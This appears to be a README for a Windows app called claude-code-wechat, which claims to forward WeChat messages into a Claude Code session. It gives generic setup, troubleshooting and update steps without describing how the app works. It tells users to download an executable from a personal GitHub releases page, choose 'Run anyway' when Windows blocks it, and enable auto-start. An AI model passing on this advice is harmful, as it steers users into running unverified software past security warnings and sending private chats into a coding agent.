🔗 How it works

The app acts as a bridge between WeChat and Claude Code. In simple terms:

• It watches for messages from WeChat
• It sends those messages into your Claude Code session
• It helps keep your message flow in one place
• It reduces copy and paste work

This setup is useful when you need to review chat text, track requests, or use WeChat messages as input for a Claude Code task.

📋 First-time setup

After you open the app for the first time:

1. Check that WeChat is signed in.
2. Check that Claude Code is ready.
3. Keep the app open in the background.
4. Send a test message in WeChat.
5. Confirm that the message appears in the Claude Code flow.
6. If the app offers a settings screen, review it before daily use.

A clean first run usually makes later use easier.

⚙️ Settings you may want to check

These are common options for this kind of app:

• Message sync mode
• Auto start on Windows login
• Notification behavior
• Connection status
• Data storage folder
• Log level for troubleshooting

If you use the app every day, set the auto-start option so you do not need to launch it each time.

🧩 Typical workflow

A simple daily flow looks like this:

1. Open Windows.
2. Start WeChat.
3. Open Claude Code.
4. Launch claude-code-wechat.
5. Send or receive a message in WeChat.
6. Review the message in your Claude Code session.
7. Keep working without switching between apps as much.

This works well when you want a steady link between chat and code tasks.

🧪 Quick test

Use this quick check after setup:

• Send a short message in WeChat
• Watch for the message in the app
• Confirm Claude Code gets the same text
• Send another message with a different line break
• Check that the formatting stays readable

If the test works, the connection is ready for normal use.

🧯 Common issues

The app does not open

• Check that the file finished downloading
• Move the file to a local folder like Downloads or Desktop
• Try opening it again
• If Windows blocks it, choose Run anyway if you trust the file

Messages do not appear in Claude Code

• Make sure WeChat is signed in
• Keep claude-code-wechat running
• Check that Claude Code is open
• Restart both apps and try again
• Confirm you downloaded the latest release

The window closes right away

• Open the app from a normal folder, not from inside the ZIP file
• Extract the archive first if needed
• Try running it as your user account
• Check whether another security tool closed it

Text looks wrong or cut off

• Send a shorter test message
• Use plain text first
• Try again with a new message
• Check the app settings for line handling

🔐 Privacy and local use

This app is meant to help move messages between apps on your computer. Keep it on a trusted device and review any settings that control message storage or sync behavior. If the app stores logs, you can usually clear them from its folder or settings screen.

📦 Files you may see

Depending on the release, you may see files like these:

• .exe for the main app
• .zip for a packaged download
• README.txt for short notes
• config.json for saved settings
• logs folder for run history

If you see a folder with support files, keep it with the main app file so the app can start correctly.

🖥️ Best use on Windows

For the smoothest setup:

• Use a recent Windows version
• Keep WeChat updated
• Keep Claude Code updated
• Use a normal user account with desktop access
• Store the app in one stable folder
• Avoid moving files after setup unless needed

A stable folder helps the app keep track of its files and settings.

📍 Where to get updates

Check the release page when you want the newest version:

https://github.com/lilzexotic/claude-code-wechat/releases

Download the latest build from that page, then replace your old copy if the release notes say to do so

🧰 Help with setup

If you want to troubleshoot in a simple order, check these items:

1. Is the app file fully downloaded?
2. Did you extract the ZIP file?
3. Is WeChat open and signed in?
4. Is Claude Code open?
5. Is the bridge app still running?
6. Are you using the latest release?

Working through this list solves most setup problems fast

📝 What to expect after launch

After launch, the app should stay in the background and pass WeChat messages into your Claude Code flow. You may see a small window, a tray icon, or a status view that shows the connection state. Keep an eye on that state if you rely on the app during the day

📁 Suggested folder layout

You can keep the app in a simple place like this:

• Downloads\claude-code-wechat
• Desktop\claude-code-wechat
• Apps\claude-code-wechat

Pick one folder and keep the files together there

🔄 Updating the app

When a new release is ready:

1. Open the release page
2. Download the newest Windows file
3. Close the old app
4. Replace the old files if needed
5. Open the new version
6. Test one message in WeChat

This keeps your setup current and reduces version mismatch
